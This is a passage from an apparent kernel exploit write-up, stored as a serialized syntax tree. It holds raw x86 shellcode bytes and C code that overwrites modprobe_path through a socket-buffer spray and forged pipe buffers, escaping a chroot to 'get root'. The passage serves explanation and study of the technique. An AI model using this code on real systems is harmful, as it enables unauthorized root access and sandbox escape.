0x7",{"type":21,"tag":198,"props":59562,"children":59563},{"style":211},[59564],{"type":27,"value":828},{"type":21,"tag":198,"props":59566,"children":59567},{"style":205},[59568],{"type":27,"value":20854},{"type":21,"tag":198,"props":59570,"children":59571},{"style":1457},[59572],{"type":27,"value":59573},"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff",{"type":21,"tag":198,"props":59575,"children":59576},{"style":205},[59577],{"type":27,"value":20854},{"type":21,"tag":198,"props":59579,"children":59580},{"style":211},[59581],{"type":27,"value":828},{"type":21,"tag":198,"props":59583,"children":59584},{"style":2540},[59585],{"type":27,"value":55047},{"type":21,"tag":198,"props":59587,"children":59588},{"style":211},[59589],{"type":27,"value":1541},{"type":21,"tag":198,"props":59591,"children":59592},{"style":683},[59593],{"type":27,"value":9386},{"type":21,"tag":198,"props":59595,"children":59596},{"style":2540},[59597],{"type":27,"value":3855},{"type":21,"tag":198,"props":59599,"children":59600},{"style":211},[59601],{"type":27,"value":789},{"type":21,"tag":198,"props":59603,"children":59604},{"class":200,"line":365},[59605,59609,59613],{"type":21,"tag":198,"props":59606,"children":59607},{"style":640},[59608],{"type":27,"value":16547},{"type":21,"tag":198,"props":59610,"children":59611},{"style":249},[59612],{"type":27,"value":252},{"type":21,"tag":198,"props":59614,"children":59615},{"style":211},[59616],{"type":27,"value":1483},{"type":21,"tag":198,"props":59618,"children":59619},{"class":200,"line":386},[59620],{"type":21,"tag":198,"props":59621,"children":59622},{"emptyLinePlaceholder":16},[59623],{"type":27,"value":1283},{"type":21,"tag":198,"props":59625,"children":59626},{"class":200,"line":408},[59627],{"type":21,"tag":198,"props":59628,"children":59629},{"style":1233},[59630],{"type":27,"value":59631}," // get-sig kernel_runtime_2\n",{"type":21,"tag":198,"props":59633,"children":59634},{"class":200,"line":429},[59635,59639,59643,59647,59651,59655,59659,59663,59667,59672,59676,59680,59684,59688,59692,59696],{"type":21,"tag":198,"props":59636,"children":59637},{"style":640},[59638],{"type":27,"value":643},{"type":21,"tag":198,"props":59640,"children":59641},{"style":211},[59642],{"type":27,"value":648},{"type":21,"tag":198,"props":59644,"children":59645},{"style":698},[59646],{"type":27,"value":59484},{"type":21,"tag":198,"props":59648,"children":59649},{"style":211},[59650],{"type":27,"value":59489},{"type":21,"tag":198,"props":59652,"children":59653},{"style":683},[59654],{"type":27,"value":5193},{"type":21,"tag":198,"props":59656,"children":59657},{"style":2540},[59658],{"type":27,"value":59498},{"type":21,"tag":198,"props":59660,"children":59661},{"style":211},[59662],{"type":27,"value":828},{"type":21,"tag":198,"props":59664,"children":59665},{"style":205},[59666],{"type":27,"value":20854},{"type":21,"tag":198,"props":59668,"children":59669},{"style":1457},[59670],{"type":27,"value":59671},"\\xfc\\x0f\\x01\\x15",{"type":21,"tag":198,"props":59673,"children":59674},{"style":205},[59675],{"type":27,"value":20854},{"type":21,"tag":198,"props":59677,"children":59678},{"style":211},[59679],{"type":27,"value":828},{"type":21,"tag":198,"props":59681,"children":59682},{"style":2540},[59683],{"type":27,"value":18330},{"type":21,"tag":198,"props":59685,"children":59686},{"style":211},[59687],{"type":27,"value":1541},{"type":21,"tag":198,"props":59689,"children":59690},{"style":683},[59691],{"type":27,"value":9386},{"type":21,"tag":198,"props":59693,"children":59694},{"style":2540},[59695],{"type":27,"value":3855},{"type":21,"tag":198,"props":59697,"children":59698},{"style":683},[59699],{"type":27,"value":53060},{"type":21,"tag":198,"props":59701,"children":59702},{"class":200,"line":450},[59703,59707,59711,59715,59720,59724,59728,59733,59737,59741,59746,59750,59754,59758],{"type":21,"tag":198,"props":59704,"children":59705},{"style":698},[59706],{"type":27,"value":59547},{"type":21,"tag":198,"props":59708,"children":59709},{"style":211},[59710],{"type":27,"value":59489},{"type":21,"tag":198,"props":59712,"children":59713},{"style":683},[59714],{"type":27,"value":5193},{"type":21,"tag":198,"props":59716,"children":59717},{"style":2540},[59718],{"type":27,"value":59719}," 0x8",{"type":21,"tag":198,"props":59721,"children":59722},{"style":211},[59723],{"type":27,"value":828},{"type":21,"tag":198,"props":59725,"children":59726},{"style":205},[59727],{"type":27,"value":20854},{"type":21,"tag":198,"props":59729,"children":59730},{"style":1457},[59731],{"type":27,"value":59732},"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf",{"type":21,"tag":198,"props":59734,"children":59735},{"style":205},[59736],{"type":27,"value":20854},{"type":21,"tag":198,"props":59738,"children":59739},{"style":211},[59740],{"type":27,"value":828},{"type":21,"tag":198,"props":59742,"children":59743},{"style":2540},[59744],{"type":27,"value":59745},"12",{"type":21,"tag":198,"props":59747,"children":59748},{"style":211},[59749],{"type":27,"value":1541},{"type":21,"tag":198,"props":59751,"children":59752},{"style":683},[59753],{"type":27,"value":9386},{"type":21,"tag":198,"props":59755,"children":59756},{"style":2540},[59757],{"type":27,"value":3855},{"type":21,"tag":198,"props":59759,"children":59760},{"style":683},[59761],{"type":27,"value":53060},{"type":21,"tag":198,"props":59763,"children":59764},{"class":200,"line":468},[59765,59769,59773,59777,59782,59786,59790,59795,59799,59803,59807,59811,59815,59819],{"type":21,"tag":198,"props":59766,"children":59767},{"style":698},[59768],{"type":27,"value":59547},{"type":21,"tag":198,"props":59770,"children":59771},{"style":211},[59772],{"type":27,"value":59489},{"type":21,"tag":198,"props":59774,"children":59775},{"style":683},[59776],{"type":27,"value":5193},{"type":21,"tag":198,"props":59778,"children":59779},{"style":2540},[59780],{"type":27,"value":59781}," 0x18",{"type":21,"tag":198,"props":59783,"children":59784},{"style":211},[59785],{"type":27,"value":828},{"type":21,"tag":198,"props":59787,"children":59788},{"style":205},[59789],{"type":27,"value":20854},{"type":21,"tag":198,"props":59791,"children":59792},{"style":1457},[59793],{"type":27,"value":59794},"\\x89\\xde\\x8b\\x0d",{"type":21,"tag":198,"props":59796,"children":59797},{"style":205},[59798],{"type":27,"value":20854},{"type":21,"tag":198,"props":59800,"children":59801},{"style":211},[59802],{"type":27,"value":828},{"type":21,"tag":198,"props":59804,"children":59805},{"style":2540},[59806],{"type":27,"value":18330},{"type":21,"tag":198,"props":59808,"children":59809},{"style":211},[59810],{"type":27,"value":1541},{"type":21,"tag":198,"props":59812,"children":59813},{"style":683},[59814],{"type":27,"value":9386},{"type":21,"tag":198,"props":59816,"children":59817},{"style":2540},[59818],{"type":27,"value":3855},{"type":21,"tag":198,"props":59820,"children":59821},{"style":683},[59822],{"type":27,"value":53060},{"type":21,"tag":198,"props":59824,"children":59825},{"class":200,"line":477},[59826,59830,59834,59838,59843,59847,59851,59856,59860,59864,59868,59872,59876,59880],{"type":21,"tag":198,"props":59827,"children":59828},{"style":698},[59829],{"type":27,"value":59547},{"type":21,"tag":198,"props":59831,"children":59832},{"style":211},[59833],{"type":27,"value":59489},{"type":21,"tag":198,"props":59835,"children":59836},{"style":683},[59837],{"type":27,"value":5193},{"type":21,"tag":198,"props":59839,"children":59840},{"style":2540},[59841],{"type":27,"value":59842}," 0x20",{"type":21,"tag":198,"props":59844,"children":59845},{"style":211},[59846],{"type":27,"value":828},{"type":21,"tag":198,"props":59848,"children":59849},{"style":205},[59850],{"type":27,"value":20854},{"type":21,"tag":198,"props":59852,"children":59853},{"style":1457},[59854],{"type":27,"value":59855},"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc",{"type":21,"tag":198,"props":59857,"children":59858},{"style":205},[59859],{"type":27,"value":20854},{"type":21,"tag":198,"props":59861,"children":59862},{"style":211},[59863],{"type":27,"value":828},{"type":21,"tag":198,"props":59865,"children":59866},{"style":2540},[59867],{"type":27,"value":19223},{"type":21,"tag":198,"props":59869,"children":59870},{"style":211},[59871],{"type":27,"value":1541},{"type":21,"tag":198,"props":59873,"children":59874},{"style":683},[59875],{"type":27,"value":9386},{"type":21,"tag":198,"props":59877,"children":59878},{"style":2540},[59879],{"type":27,"value":3855},{"type":21,"tag":198,"props":59881,"children":59882},{"style":683},[59883],{"type":27,"value":53060},{"type":21,"tag":198,"props":59885,"children":59886},{"class":200,"line":494},[59887,59891,59895,59899,59904,59908,59912,59917,59921,59925,59930,59934,59938,59942],{"type":21,"tag":198,"props":59888,"children":59889},{"style":698},[59890],{"type":27,"value":59547},{"type":21,"tag":198,"props":59892,"children":59893},{"style":211},[59894],{"type":27,"value":59489},{"type":21,"tag":198,"props":59896,"children":59897},{"style":683},[59898],{"type":27,"value":5193},{"type":21,"tag":198,"props":59900,"children":59901},{"style":2540},[59902],{"type":27,"value":59903}," 0x2a",{"type":21,"tag":198,"props":59905,"children":59906},{"style":211},[59907],{"type":27,"value":828},{"type":21,"tag":198,"props":59909,"children":59910},{"style":205},[59911],{"type":27,"value":20854},{"type":21,"tag":198,"props":59913,"children":59914},{"style":1457},[59915],{"type":27,"value":59916},"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00",{"type":21,"tag":198,"props":59918,"children":59919},{"style":205},[59920],{"type":27,"value":20854},{"type":21,"tag":198,"props":59922,"children":59923},{"style":211},[59924],{"type":27,"value":828},{"type":21,"tag":198,"props":59926,"children":59927},{"style":2540},[59928],{"type":27,"value":59929},"24",{"type":21,"tag":198,"props":59931,"children":59932},{"style":211},[59933],{"type":27,"value":1541},{"type":21,"tag":198,"props":59935,"children":59936},{"style":683},[59937],{"type":27,"value":9386},{"type":21,"tag":198,"props":59939,"children":59940},{"style":2540},[59941],{"type":27,"value":3855},{"type":21,"tag":198,"props":59943,"children":59944},{"style":683},[59945],{"type":27,"value":53060},{"type":21,"tag":198,"props":59947,"children":59948},{"class":200,"line":515},[59949,59953,59957,59961,59966,59970,59974,59979,59983,59987,59992,59996,60000,60004],{"type":21,"tag":198,"props":59950,"children":59951},{"style":698},[59952],{"type":27,"value":59547},{"type":21,"tag":198,"props":59954,"children":59955},{"style":211},[59956],{"type":27,"value":59489},{"type":21,"tag":198,"props":59958,"children":59959},{"style":683},[59960],{"type":27,"value":5193},{"type":21,"tag":198,"props":59962,"children":59963},{"style":2540},[59964],{"type":27,"value":59965}," 0x45",{"type":21,"tag":198,"props":59967,"children":59968},{"style":211},[59969],{"type":27,"value":828},{"type":21,"tag":198,"props":59971,"children":59972},{"style":205},[59973],{"type":27,"value":20854},{"type":21,"tag":198,"props":59975,"children":59976},{"style":1457},[59977],{"type":27,"value":59978},"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00",{"type":21,"tag":198,"props":59980,"children":59981},{"style":205},[59982],{"type":27,"value":20854},{"type":21,"tag":198,"props":59984,"children":59985},{"style":211},[59986],{"type":27,"value":828},{"type":21,"tag":198,"props":59988,"children":59989},{"style":2540},[59990],{"type":27,"value":59991},"15",{"type":21,"tag":198,"props":59993,"children":59994},{"style":211},[59995],{"type":27,"value":1541},{"type":21,"tag":198,"props":59997,"children":59998},{"style":683},[59999],{"type":27,"value":9386},{"type":21,"tag":198,"props":60001,"children":60002},{"style":2540},[60003],{"type":27,"value":3855},{"type":21,"tag":198,"props":60005,"children":60006},{"style":683},[60007],{"type":27,"value":53060},{"type":21,"tag":198,"props":60009,"children":60010},{"class":200,"line":4484},[60011,60015,60019,60023,60028,60032,60036,60041,60045,60049,60053,60057,60061,60065],{"type":21,"tag":198,"props":60012,"children":60013},{"style":698},[60014],{"type":27,"value":59547},{"type":21,"tag":198,"props":60016,"children":60017},{"style":211},[60018],{"type":27,"value":59489},{"type":21,"tag":198,"props":60020,"children":60021},{"style":683},[60022],{"type":27,"value":5193},{"type":21,"tag":198,"props":60024,"children":60025},{"style":2540},[60026],{"type":27,"value":60027}," 0x55",{"type":21,"tag":198,"props":60029,"children":60030},{"style":211},[60031],{"type":27,"value":828},{"type":21,"tag":198,"props":60033,"children":60034},{"style":205},[60035],{"type":27,"value":20854},{"type":21,"tag":198,"props":60037,"children":60038},{"style":1457},[60039],{"type":27,"value":60040},"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8",{"type":21,"tag":198,"props":60042,"children":60043},{"style":205},[60044],{"type":27,"value":20854},{"type":21,"tag":198,"props":60046,"children":60047},{"style":211},[60048],{"type":27,"value":828},{"type":21,"tag":198,"props":60050,"children":60051},{"style":2540},[60052],{"type":27,"value":4887},{"type":21,"tag":198,"props":60054,"children":60055},{"style":211},[60056],{"type":27,"value":1541},{"type":21,"tag":198,"props":60058,"children":60059},{"style":683},[60060],{"type":27,"value":9386},{"type":21,"tag":198,"props":60062,"children":60063},{"style":2540},[60064],{"type":27,"value":3855},{"type":21,"tag":198,"props":60066,"children":60067},{"style":683},[60068],{"type":27,"value":53060},{"type":21,"tag":198,"props":60070,"children":60071},{"class":200,"line":4493},[60072,60076,60080,60084,60089,60093,60097,60102,60106,60110,60114,60118,60122,60126],{"type":21,"tag":198,"props":60073,"children":60074},{"style":698},[60075],{"type":27,"value":59547},{"type":21,"tag":198,"props":60077,"children":60078},{"style":211},[60079],{"type":27,"value":59489},{"type":21,"tag":198,"props":60081,"children":60082},{"style":683},[60083],{"type":27,"value":5193},{"type":21,"tag":198,"props":60085,"children":60086},{"style":2540},[60087],{"type":27,"value":60088}," 0x61",{"type":21,"tag":198,"props":60090,"children":60091},{"style":211},[60092],{"type":27,"value":828},{"type":21,"tag":198,"props":60094,"children":60095},{"style":205},[60096],{"type":27,"value":20854},{"type":21,"tag":198,"props":60098,"children":60099},{"style":1457},[60100],{"type":27,"value":60101},"\\x31\\xd2\\x0f\\x30\\xe8",{"type":21,"tag":198,"props":60103,"children":60104},{"style":205},[60105],{"type":27,"value":20854},{"type":21,"tag":198,"props":60107,"children":60108},{"style":211},[60109],{"type":27,"value":828},{"type":21,"tag":198,"props":60111,"children":60112},{"style":2540},[60113],{"type":27,"value":18911},{"type":21,"tag":198,"props":60115,"children":60116},{"style":211},[60117],{"type":27,"value":1541},{"type":21,"tag":198,"props":60119,"children":60120},{"style":683},[60121],{"type":27,"value":9386},{"type":21,"tag":198,"props":60123,"children":60124},{"style":2540},[60125],{"type":27,"value":3855},{"type":21,"tag":198,"props":60127,"children":60128},{"style":683},[60129],{"type":27,"value":53060},{"type":21,"tag":198,"props":60131,"children":60132},{"class":200,"line":4561},[60133,60137,60141,60145,60150,60154,60158,60163,60167,60171,60175,60179,60183,60187],{"type":21,"tag":198,"props":60134,"children":60135},{"style":698},[60136],{"type":27,"value":59547},{"type":21,"tag":198,"props":60138,"children":60139},{"style":211},[60140],{"type":27,"value":59489},{"type":21,"tag":198,"props":60142,"children":60143},{"style":683},[60144],{"type":27,"value":5193},{"type":21,"tag":198,"props":60146,"children":60147},{"style":2540},[60148],{"type":27,"value":60149}," 0x6a",{"type":21,"tag":198,"props":60151,"children":60152},{"style":211},[60153],{"type":27,"value":828},{"type":21,"tag":198,"props":60155,"children":60156},{"style":205},[60157],{"type":27,"value":20854},{"type":21,"tag":198,"props":60159,"children":60160},{"style":1457},[60161],{"type":27,"value":60162},"\\x48\\xc7\\xc6",{"type":21,"tag":198,"props":60164,"children":60165},{"style":205},[60166],{"type":27,"value":20854},{"type":21,"tag":198,"props":60168,"children":60169},{"style":211},[60170],{"type":27,"value":828},{"type":21,"tag":198,"props":60172,"children":60173},{"style":2540},[60174],{"type":27,"value":18097},{"type":21,"tag":198,"props":60176,"children":60177},{"style":211},[60178],{"type":27,"value":1541},{"type":21,"tag":198,"props":60180,"children":60181},{"style":683},[60182],{"type":27,"value":9386},{"type":21,"tag":198,"props":60184,"children":60185},{"style":2540},[60186],{"type":27,"value":3855},{"type":21,"tag":198,"props":60188,"children":60189},{"style":683},[60190],{"type":27,"value":53060},{"type":21,"tag":198,"props":60192,"children":60193},{"class":200,"line":4569},[60194,60198,60202,60206,60211,60215,60219,60224,60228,60232,60236,60240,60244,60248],{"type":21,"tag":198,"props":60195,"children":60196},{"style":698},[60197],{"type":27,"value":59547},{"type":21,"tag":198,"props":60199,"children":60200},{"style":211},[60201],{"type":27,"value":59489},{"type":21,"tag":198,"props":60203,"children":60204},{"style":683},[60205],{"type":27,"value":5193},{"type":21,"tag":198,"props":60207,"children":60208},{"style":2540},[60209],{"type":27,"value":60210}," 0x71",{"type":21,"tag":198,"props":60212,"children":60213},{"style":211},[60214],{"type":27,"value":828},{"type":21,"tag":198,"props":60216,"children":60217},{"style":205},[60218],{"type":27,"value":20854},{"type":21,"tag":198,"props":60220,"children":60221},{"style":1457},[60222],{"type":27,"value":60223},"\\x48\\xc7\\xc0\\x80\\x00\\x00",{"type":21,"tag":198,"props":60225,"children":60226},{"style":205},[60227],{"type":27,"value":20854},{"type":21,"tag":198,"props":60229,"children":60230},{"style":211},[60231],{"type":27,"value":828},{"type":21,"tag":198,"props":60233,"children":60234},{"style":2540},[60235],{"type":27,"value":19223},{"type":21,"tag":198,"props":60237,"children":60238},{"style":211},[60239],{"type":27,"value":1541},{"type":21,"tag":198,"props":60241,"children":60242},{"style":683},[60243],{"type":27,"value":9386},{"type":21,"tag":198,"props":60245,"children":60246},{"style":2540},[60247],{"type":27,"value":3855},{"type":21,"tag":198,"props":60249,"children":60250},{"style":683},[60251],{"type":27,"value":53060},{"type":21,"tag":198,"props":60253,"children":60254},{"class":200,"line":4599},[60255,60259,60263,60267,60272,60276,60280,60285,60289,60293,60297,60301,60305,60309],{"type":21,"tag":198,"props":60256,"children":60257},{"style":698},[60258],{"type":27,"value":59547},{"type":21,"tag":198,"props":60260,"children":60261},{"style":211},[60262],{"type":27,"value":59489},{"type":21,"tag":198,"props":60264,"children":60265},{"style":683},[60266],{"type":27,"value":5193},{"type":21,"tag":198,"props":60268,"children":60269},{"style":2540},[60270],{"type":27,"value":60271}," 0x78",{"type":21,"tag":198,"props":60273,"children":60274},{"style":211},[60275],{"type":27,"value":828},{"type":21,"tag":198,"props":60277,"children":60278},{"style":205},[60279],{"type":27,"value":20854},{"type":21,"tag":198,"props":60281,"children":60282},{"style":1457},[60283],{"type":27,"value":60284},"\\xff\\xe0",{"type":21,"tag":198,"props":60286,"children":60287},{"style":205},[60288],{"type":27,"value":20854},{"type":21,"tag":198,"props":60290,"children":60291},{"style":211},[60292],{"type":27,"value":828},{"type":21,"tag":198,"props":60294,"children":60295},{"style":2540},[60296],{"type":27,"value":3931},{"type":21,"tag":198,"props":60298,"children":60299},{"style":211},[60300],{"type":27,"value":1541},{"type":21,"tag":198,"props":60302,"children":60303},{"style":683},[60304],{"type":27,"value":9386},{"type":21,"tag":198,"props":60306,"children":60307},{"style":2540},[60308],{"type":27,"value":3855},{"type":21,"tag":198,"props":60310,"children":60311},{"style":211},[60312],{"type":27,"value":789},{"type":21,"tag":198,"props":60314,"children":60315},{"class":200,"line":4607},[60316,60320,60324],{"type":21,"tag":198,"props":60317,"children":60318},{"style":640},[60319],{"type":27,"value":16547},{"type":21,"tag":198,"props":60321,"children":60322},{"style":249},[60323],{"type":27,"value":252},{"type":21,"tag":198,"props":60325,"children":60326},{"style":211},[60327],{"type":27,"value":1483},{"type":21,"tag":198,"props":60329,"children":60330},{"class":200,"line":4638},[60331],{"type":21,"tag":198,"props":60332,"children":60333},{"emptyLinePlaceholder":16},[60334],{"type":27,"value":1283},{"type":21,"tag":198,"props":60336,"children":60337},{"class":200,"line":4646},[60338,60342,60346],{"type":21,"tag":198,"props":60339,"children":60340},{"style":640},[60341],{"type":27,"value":1478},{"type":21,"tag":198,"props":60343,"children":60344},{"style":249},[60345],{"type":27,"value":9868},{"type":21,"tag":198,"props":60347,"children":60348},{"style":211},[60349],{"type":27,"value":1483},{"type":21,"tag":198,"props":60351,"children":60352},{"class":200,"line":4706},[60353],{"type":21,"tag":198,"props":60354,"children":60355},{"style":211},[60356],{"type":27,"value":1120},{"type":21,"tag":198,"props":60358,"children":60359},{"class":200,"line":9857},[60360],{"type":21,"tag":198,"props":60361,"children":60362},{"style":211},[60363],{"type":27,"value":11127},{"type":21,"tag":59,"props":60365,"children":60367},{"id":60366},"overwriting-modprobe_path",[60368,60370],{"type":27,"value":60369},"Overwriting ",{"type":21,"tag":194,"props":60371,"children":60373},{"className":60372},[],[60374],{"type":27,"value":58755},{"type":21,"tag":30,"props":60376,"children":60377},{},[60378,60380,60386],{"type":27,"value":60379},"Finding the ",{"type":21,"tag":194,"props":60381,"children":60383},{"className":60382},[],[60384],{"type":27,"value":60385},"/sbin/modprobe",{"type":27,"value":60387}," string in kernel memory and replacing it with a controlled value that points to a file we own finally becomes relatively trivial.",{"type":21,"tag":30,"props":60389,"children":60390},{},[60391,60393,60399],{"type":27,"value":60392},"A very well-known trick for this to work, although we are running in a chroot without being able to create files at the root filesystem, is using a memfd exposed through ",{"type":21,"tag":194,"props":60394,"children":60396},{"className":60395},[],[60397],{"type":27,"value":60398},"/proc/\u003Cpid>/fd/\u003Cn>.",{"type":27,"value":60400}," It's worth adding that, given that our pid outside the unprivileged namespace is unknown to us, we brute-force it.",{"type":21,"tag":187,"props":60402,"children":60404},{"className":29912,"code":60403,"language":29914,"meta":7,"style":7},"[...]\n puts(\"[*] overwrite modprobe_path\");\n for (int i = 0; i \u003C 4194304; i++)\n {\n pipebuf->page = modprobe_page;\n pipebuf->offset = modprobe_off;\n pipebuf->len = 0;\n for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n {\n if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n {\n perror(\"[-] write(socket)\");\n break;\n }\n }\n\n memset(&data, 0, PAGE_SIZE);\n snprintf(fd_path, sizeof(fd_path), \"/proc/%i/fd/%i\", i, modprobe_fd);\n\n lseek(modprobe_fd, 0, SEEK_SET);\n dprintf(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n\n if (write(pfd[pipe_idx][1], fd_path, 32) \u003C 0)\n {\n perror(\"\\n[-] write(pipe)\");\n }\n\n if (check_modprobe(fd_path))\n {\n puts(\"[-] failed to overwrite modprobe\");\n break;\n }\n\n if (trigger_modprobe(status_fd))\n {\n puts(\"\\n[+] got root\");\n goto out;\n }\n\n for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n {\n if (read(sock[i][1], leak, 1024 - 320) \u003C 0)\n {\n perror(\"[-] read(socket)\");\n return -1;\n }\n }\n }\n puts(\"[-] fake modprobe failed\");\n[...]\n",[60405],{"type":21,"tag":194,"props":60406,"children":60407},{"__ignoreMap":7},[60408,60415,60437,60445,60452,60460,60468,60476,60484,60491,60499,60506,60544,60555,60562,60569,60576,60603,60634,60641,60663,60676,60683,60741,60748,60776,60783,60790,60811,60818,60839,60850,60857,60864,60885,60892,60920,60933,60940,60947,60996,61003,61071,61078,61099,61119,61126,61133,61140,61160],{"type":21,"tag":198,"props":60409,"children":60410},{"class":200,"line":201},[60411],{"type":21,"tag":198,"props":60412,"children":60413},{"style":211},[60414],{"type":27,"value":11127},{"type":21,"tag":198,"props":60416,"children":60417},{"class":200,"line":217},[60418,60423,60428,60433],{"type":21,"tag":198,"props":60419,"children":60420},{"style":211},[60421],{"type":27,"value":60422}," puts(\"[*] ",{"type":21,"tag":198,"props":60424,"children":60425},{"style":1966},[60426],{"type":27,"value":60427},"overwrite",{"type":21,"tag":198,"props":60429,"children":60430},{"style":1966},[60431],{"type":27,"value":60432}," modprobe_path",{"type":21,"tag":198,"props":60434,"children":60435},{"style":205},[60436],{"type":27,"value":56668},{"type":21,"tag":198,"props":60438,"children":60439},{"class":200,"line":236},[60440],{"type":21,"tag":198,"props":60441,"children":60442},{"style":205},[60443],{"type":27,"value":60444}," for (int i = 0; i \u003C 4194304; i++)\n",{"type":21,"tag":198,"props":60446,"children":60447},{"class":200,"line":260},[60448],{"type":21,"tag":198,"props":60449,"children":60450},{"style":205},[60451],{"type":27,"value":29989},{"type":21,"tag":198,"props":60453,"children":60454},{"class":200,"line":281},[60455],{"type":21,"tag":198,"props":60456,"children":60457},{"style":205},[60458],{"type":27,"value":60459}," pipebuf->page = modprobe_page;\n",{"type":21,"tag":198,"props":60461,"children":60462},{"class":200,"line":302},[60463],{"type":21,"tag":198,"props":60464,"children":60465},{"style":205},[60466],{"type":27,"value":60467}," pipebuf->offset = modprobe_off;\n",{"type":21,"tag":198,"props":60469,"children":60470},{"class":200,"line":323},[60471],{"type":21,"tag":198,"props":60472,"children":60473},{"style":205},[60474],{"type":27,"value":60475}," pipebuf->len = 0;\n",{"type":21,"tag":198,"props":60477,"children":60478},{"class":200,"line":344},[60479],{"type":21,"tag":198,"props":60480,"children":60481},{"style":205},[60482],{"type":27,"value":60483}," for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n",{"type":21,"tag":198,"props":60485,"children":60486},{"class":200,"line":365},[60487],{"type":21,"tag":198,"props":60488,"children":60489},{"style":205},[60490],{"type":27,"value":32446},{"type":21,"tag":198,"props":60492,"children":60493},{"class":200,"line":386},[60494],{"type":21,"tag":198,"props":60495,"children":60496},{"style":205},[60497],{"type":27,"value":60498}," if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n",{"type":21,"tag":198,"props":60500,"children":60501},{"class":200,"line":408},[60502],{"type":21,"tag":198,"props":60503,"children":60504},{"style":205},[60505],{"type":27,"value":32482},{"type":21,"tag":198,"props":60507,"children":60508},{"class":200,"line":429},[60509,60514,60518,60522,60526,60531,60535,60539],{"type":21,"tag":198,"props":60510,"children":60511},{"style":205},[60512],{"type":27,"value":60513}," perror(\"",{"type":21,"tag":198,"props":60515,"children":60516},{"style":211},[60517],{"type":27,"value":2051},{"type":21,"tag":198,"props":60519,"children":60520},{"style":683},[60521],{"type":27,"value":5139},{"type":21,"tag":198,"props":60523,"children":60524},{"style":211},[60525],{"type":27,"value":9472},{"type":21,"tag":198,"props":60527,"children":60528},{"style":1966},[60529],{"type":27,"value":60530},"write",{"type":21,"tag":198,"props":60532,"children":60533},{"style":211},[60534],{"type":27,"value":706},{"type":21,"tag":198,"props":60536,"children":60537},{"style":1966},[60538],{"type":27,"value":42692},{"type":21,"tag":198,"props":60540,"children":60541},{"style":211},[60542],{"type":27,"value":60543},")\");\n",{"type":21,"tag":198,"props":60545,"children":60546},{"class":200,"line":450},[60547,60551],{"type":21,"tag":198,"props":60548,"children":60549},{"style":640},[60550],{"type":27,"value":59337},{"type":21,"tag":198,"props":60552,"children":60553},{"style":211},[60554],{"type":27,"value":1483},{"type":21,"tag":198,"props":60556,"children":60557},{"class":200,"line":468},[60558],{"type":21,"tag":198,"props":60559,"children":60560},{"style":211},[60561],{"type":27,"value":59262},{"type":21,"tag":198,"props":60563,"children":60564},{"class":200,"line":477},[60565],{"type":21,"tag":198,"props":60566,"children":60567},{"style":211},[60568],{"type":27,"value":1160},{"type":21,"tag":198,"props":60570,"children":60571},{"class":200,"line":494},[60572],{"type":21,"tag":198,"props":60573,"children":60574},{"emptyLinePlaceholder":16},[60575],{"type":27,"value":1283},{"type":21,"tag":198,"props":60577,"children":60578},{"class":200,"line":515},[60579,60583,60587,60591,60595,60599],{"type":21,"tag":198,"props":60580,"children":60581},{"style":698},[60582],{"type":27,"value":54993},{"type":21,"tag":198,"props":60584,"children":60585},{"style":211},[60586],{"type":27,"value":706},{"type":21,"tag":198,"props":60588,"children":60589},{"style":683},[60590],{"type":27,"value":3917},{"type":21,"tag":198,"props":60592,"children":60593},{"style":211},[60594],{"type":27,"value":59148},{"type":21,"tag":198,"props":60596,"children":60597},{"style":2540},[60598],{"type":27,"value":3482},{"type":21,"tag":198,"props":60600,"children":60601},{"style":211},[60602],{"type":27,"value":59157},{"type":21,"tag":198,"props":60604,"children":60605},{"class":200,"line":4484},[60606,60610,60615,60619,60624,60629],{"type":21,"tag":198,"props":60607,"children":60608},{"style":698},[60609],{"type":27,"value":55694},{"type":21,"tag":198,"props":60611,"children":60612},{"style":211},[60613],{"type":27,"value":60614},"(fd_path, ",{"type":21,"tag":198,"props":60616,"children":60617},{"style":249},[60618],{"type":27,"value":55704},{"type":21,"tag":198,"props":60620,"children":60621},{"style":211},[60622],{"type":27,"value":60623},"(fd_path), ",{"type":21,"tag":198,"props":60625,"children":60626},{"style":205},[60627],{"type":27,"value":60628},"\"/proc/%i/fd/%i\"",{"type":21,"tag":198,"props":60630,"children":60631},{"style":211},[60632],{"type":27,"value":60633},", i, modprobe_fd);\n",{"type":21,"tag":198,"props":60635,"children":60636},{"class":200,"line":4493},[60637],{"type":21,"tag":198,"props":60638,"children":60639},{"emptyLinePlaceholder":16},[60640],{"type":27,"value":1283},{"type":21,"tag":198,"props":60642,"children":60643},{"class":200,"line":4561},[60644,60649,60654,60658],{"type":21,"tag":198,"props":60645,"children":60646},{"style":698},[60647],{"type":27,"value":60648}," lseek",{"type":21,"tag":198,"props":60650,"children":60651},{"style":211},[60652],{"type":27,"value":60653},"(modprobe_fd, ",{"type":21,"tag":198,"props":60655,"children":60656},{"style":2540},[60657],{"type":27,"value":3482},{"type":21,"tag":198,"props":60659,"children":60660},{"style":211},[60661],{"type":27,"value":60662},", SEEK_SET);\n",{"type":21,"tag":198,"props":60664,"children":60665},{"class":200,"line":4569},[60666,60671],{"type":21,"tag":198,"props":60667,"children":60668},{"style":698},[60669],{"type":27,"value":60670}," dprintf",{"type":21,"tag":198,"props":60672,"children":60673},{"style":211},[60674],{"type":27,"value":60675},"(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, 